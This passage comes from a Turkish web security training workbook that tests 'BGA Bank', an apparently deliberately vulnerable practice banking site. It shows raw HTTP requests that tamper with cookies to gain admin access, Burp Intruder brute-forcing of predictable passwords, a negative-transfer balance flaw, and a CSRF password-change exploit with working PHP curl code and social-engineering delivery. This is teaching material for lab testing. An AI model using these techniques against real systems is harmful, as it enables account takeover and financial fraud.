 gzip,  deflate   Referer:  http://isube.bgabank.com/giris.aspx   Cookie:  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;  is_admin=false   Connection:  keep-­‐alive   Content-­‐Type:  application/x-­‐www-­‐form-­‐urlencoded   Content-­‐Length:  38     b_musterino=10000142&b_password=100011            
  • 64. 64   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           user_id  ve  is_admin  parametre  değerleri  değiştirilerek  gönderilen  POST  isteği   POST  /giris.aspx  HTTP/1.1   Host:  isube.bgabank.com   User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0   Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   Accept-­‐Language:  en-­‐US,en;q=0.5   Accept-­‐Encoding:  gzip,  deflate   Referer:  http://isube.bgabank.com/giris.aspx   Cookie:  user_id=1;  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;  is_admin=true   Connection:  keep-­‐alive   Content-­‐Type:  application/x-­‐www-­‐form-­‐urlencoded   Content-­‐Length:  38     b_musterino=10000142&b_password=100011       Şekil  62.  Yönetim  Paneli   Bu   panelde   başka   bir   menüye   gidilmek   istendiğinde   yine   araya   girip   user_id   ve   is_admin   parametrelerinin   düzenlenmesi   gerekir.   Örnek   olarak   mesajlar   kısmına   girmek   için   giden   istek  aşağıdaki  gibi  olacaktır.   Gönderilen  İstek   GET  /mesajlar.aspx  HTTP/1.1   Host:  isube.bgabank.com   User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0   Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   Accept-­‐Language:  en-­‐US,en;q=0.5   Accept-­‐Encoding:  gzip,  deflate   Referer:  http://isube.bgabank.com/giris.aspx   Cookie:  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;  is_admin=false   DNT:  1   Connection:  keep-­‐alive    
  • 65. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   65         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         Düzenlemeler  Yapılan    İstek   GET  /mesajlar.aspx  HTTP/1.1   Host:  isube.bgabank.com   User-­‐Agent:  Mozilla/5.0  (Windows  NT  6.3;  WOW64;  rv:32.0)  Gecko/20100101  Firefox/32.0   Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   Accept-­‐Language:  en-­‐US,en;q=0.5   Accept-­‐Encoding:  gzip,  deflate   Referer:  http://isube.bgabank.com/giris.aspx   Cookie:  user_id=1;  PHPSESSID=hssns8khv40cgpbmpjr44ibjm6;  is_admin=true   DNT:  1   Connection:  keep-­‐alive     Mesajlar  kısmı  görüntülenir.  (Şekil  63)     Şekil  63.  Mesajlar  Sayfası      
  • 66. 66   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           25. Müşteri Parolasının Tahmin Edilebilir Olması BGA   Bank   uygulamasında   yeni   müşteri   olmak   için   Başvuru   menüsü   aracılığıyla   başvuru   yapılabilir.   Kayıt   olunan   e-­‐posta   adresine   kullanıcının   detaylı   hesap   ve   kart   bilgisi   yollanmaktadır.   Örnek   postada   görülebileceği   gibi   parola   bilgisi   uygulama   tarafından   belirlenmektedir.  (Şekil  64)       Şekil  64.  Müşteri  Bilgilerini  İçeren  Posta   Bu   bilgilerle   giriş   yapılırken   giden   istekte   uygulamanın   atadığı   user_id   değeri   (user_id=8)   görülebilir.  Parola  bilgisi  ise  100008’dir.  Bu  noktada  parola  bilgisinin  user_id  değerine  göre   belirlendiği  düşünülebilir.     GET  /  HTTP/1.1   Host:  isube.bgabank.com   User-­‐Agent:   Mozilla/5.0   (Macintosh;   Intel   Mac   OS   X   10.9;   rv:28.0)   Gecko/20100101   Firefox/28.0   Accept:  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   Accept-­‐Language:  en-­‐US,en;q=0.5   Accept-­‐Encoding:  gzip,  deflate   DNT:  1   Referer:  http://isube.bgabank.com/giris.aspx   Cookie:   PHPSESSID=utaav0saru5r2t2kusvr21u4k5;   u_a=7OhHhvLLFV8%3D;   u_p=%2F2Ytv12Ui1o%3D;  user_id=8;  u__=true   Connection:  keep-­‐alive      
  • 67. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   67         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         Bu  tahmini  doğrulamak  için  Burp  ile  araya  girilip  müşteri  numarası  ve  parola  bilgisine  fuzzing   uygulanır.   b_musterino   ve   b_password   parametrelerine   fuzzing   yapılır.   Sağ   tıklanıp   Intruder’a  gönderilir.     Şekil  65.  Payload  Positions   Intruder  sekmesine  geçilir  ve  payload  1  kısmı  (b_musterino)  için  ayarlar  şekil  66.  da  ki  gibidir.     Şekil  66.  Intruder  Ayarlar  
  • 68. 68   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           Payload  2  (b_password)  için  ayarlar  şekil  67  de  ki  gibidir.     Şekil  67.  Payload  2  Ayarlar                      
  • 69. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   69         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         Bu  ayarlar  ile  saldırı  başlatılır  ve  şekil  68  deki  gibi  başka  bir  kullanıcıya  ait  kullanıcı  bilgisi  elde   edilebilir.       Şekil  68.  Başka  Bir  Kullanıcı      
  • 70. 70   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           26. Havale İşleminde Mantık Hatası (Havale Yaparak Bakiye Arttırma) BGABank  uygulaması  Havale/EFT  işlemlerinde  gönderilecek  miktar  kısmında  -­‐  (negatif)  bir   değer   girildiğinde   kullanılabilir   bakiyenin   arttığı   görülecektir.   Şekil   69.   da   -­‐10   lira   gönderilmiştir.   Şekil  69.  Para  Havale  İşlemi   Bakiyenin  gönderim  sonrasında  ise  10009  lira  (1  lira  havale  ücreti)  olduğu  görülebilir.  (Şekil   70)     Şekil  70.  Hesap  Bilgileri  
  • 71. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   71         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         27. Dizin Listeleme/İfşa Zafiyeti URL   http://isube.bgabank.com/assets/   http://isube.bgabank.com/assets/contents/   http://isube.bgabank.com/assets/admin/   http://isube.bgabank.com/style/   Tablo  23.  Dizinler   İstemciler   tarafından   gelen   URL   istekleri   bir   dizini   ifade   etmesi   durumunda,   dizin   içeriği   listelenmektedir.   Bu   durum,   bir   saldırganın   adını   bildiği,   öğrendiği   ya   da   tahmin   ettiği   dizinlerin   içeriğini   listeleyebilmesine   imkan   vermektedir.     Listelenen   dosya   ve   klasörlerin   arasında  önemli  bilgiler  olabilir.       Şekil  71.  Dizin  Listeleme    
  • 72. 72   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           28. Şifre Değiştirme İşlemi CSRF Zafiyeti ve İstismarı Senaryo:  Hedef  kullanıcı,  sistemde  müşteri  numarası  ve  şifresi  ile  oturum  açar.  Saldırgan,   müşteri   şifresini   değiştirip,   hedef   müşterinin   hesabından   kendi   hesabına   para   aktarmayı   amaçlamıştır.  Bunun  için  normal  bir  müşteri  gibi  bankada  hesap  açtırır  ve  internet  şubesini   kullanmaya   başlar.   Şifre   değiştirme   sayfasında   CSRF   için   herhangi   bir   önlem   alınıp   alınmadığını,  alındıysa  doğru  çalışıp  çalışmadığını  veya  atlatılıp  atlatılamaya-­‐  cağını  araştırır.   Araştırmalar   sonucunda   hedef   müşteriye   yollayacağı   sayfayı   kodlar.   Kodladığı   dosyayı   internete   yükler   ve   hedefine   sosyal   mühendislik   ile   dosyanın   adresini   gönderir.   Müşteri,   oturumu  açıkken  linke  tıklar  ve  şifresi  saldırganın  istediği  şekilde  değiştirilmiş  olur.  Saldırgan   amacına  ulaşmıştır.   BGA  Bank  ‘da  yukarıda  anlatılan  senaryo  uygulanabilir.  Şekil  72.  de  şifre  değiştirme  paneli   gösterilmiştir.         Şekil  72.  Müşteri  Şifre  Değiştirme  Paneli   BGA  Bank  şifre  değiştirme  panelinde  CSRF  önlemi  olarak  şekil  72'  de    görüldüğü  gibi  forma   "Eski   Şifrenizi   Giriniz   "   bölümü   eklenmiştir.   Fakat   bu   bölüm,   sunucu   tarafında   kontrol   edilmediğinden   herhangi   bir   önemi   yoktur.   Amaç   koruma   var   gibi   gösterip,   saldırganı   yanıltarak  CSRF  denemesini  engellemektir.   Saldırı  adım  adım  aşağıda  anlatılmıştır.              
  • 73. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   73         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         1)  Saldırgan  sisteme  müşteri  olarak  kayıt  olur.  Şifre  değiştirme  panelini  inceler  ve  hedefe   göndereceği  sayfayı  uygun  bir  dilde  kodlar.     <?php   $ch  =   curl_init("http://isube.bgabank.com/ajax.php?sayfa=sifre.php&k5=11&k6=hacked&k7=hacked");   curl_setopt($ch,  CURLOPT_HTTPHEADER,  array("X-­‐Requested-­‐With:  xmlhttprequest"));   $result  =  curl_exec  ($ch);   curl_close  ($ch);   ?>   CSRF.php   Yukarıda   belirtilen   kod   parçacığında   3.   satırda   belirtilen   URL   ‘e   PHP-­‐Curl   kütüphanesi   kullanılarak  GET  isteği  gönderilmiştir.  Sayfa  tarayıca  yüklenir  yüklenmez  veritabanındaki  id  si   11  olan  kullanıcının  şifresi  “hacked”  olarak  değişecektir.   2)  Saldırgan  kodladığı  sayfayı  internete  yükler.  Bu  dökümanda  anlatım  için  yüklenilen  adres   tablo  24.  de  gösterilmiştir.  (Örnektir)   URL   http://www.bgabank.com/csrf.php   Tablo  23.  Yüklenilen  Dosya  Adresi   3)   Dosya   linkini   hedefe   gönderir,   göndermeden   önce   BGA   Bank   oturumunun   açık   olduğundan  emin  olur.  (Şekil  73)     Şekil  73.  Sosyal  Mühendislik          
  • 74. 74   BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı          BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr           4)  Hedef,  bankada  oturumu  açıkken  maili  görür  ve  belirtilen  linke  tıklar.  (Şekil  74)     Şekil  74.  Hedef  Linke  Tıklar     Şekil  75.  Şifre  Değişir              
  • 75. BGA  BANK  WEB  GÜVENLIK  TESTLERI  UYGULAMA  KITABı   75         BİLGİ  GÜVENLİĞİ  AKADEMİSİ  |©  2015  |  www.bga.com.tr         5)  Sistemden  çıkış  yapan  hedef  kullanıcı  tekrar  hesabına  eski  şifresi  ile  giriş  yapmayı  dener  ve   erişemez  çükü  şifresi  değişmiştir.  (Şekil  76)     Şekil  76.  Hedef  Giriş  Yapamaz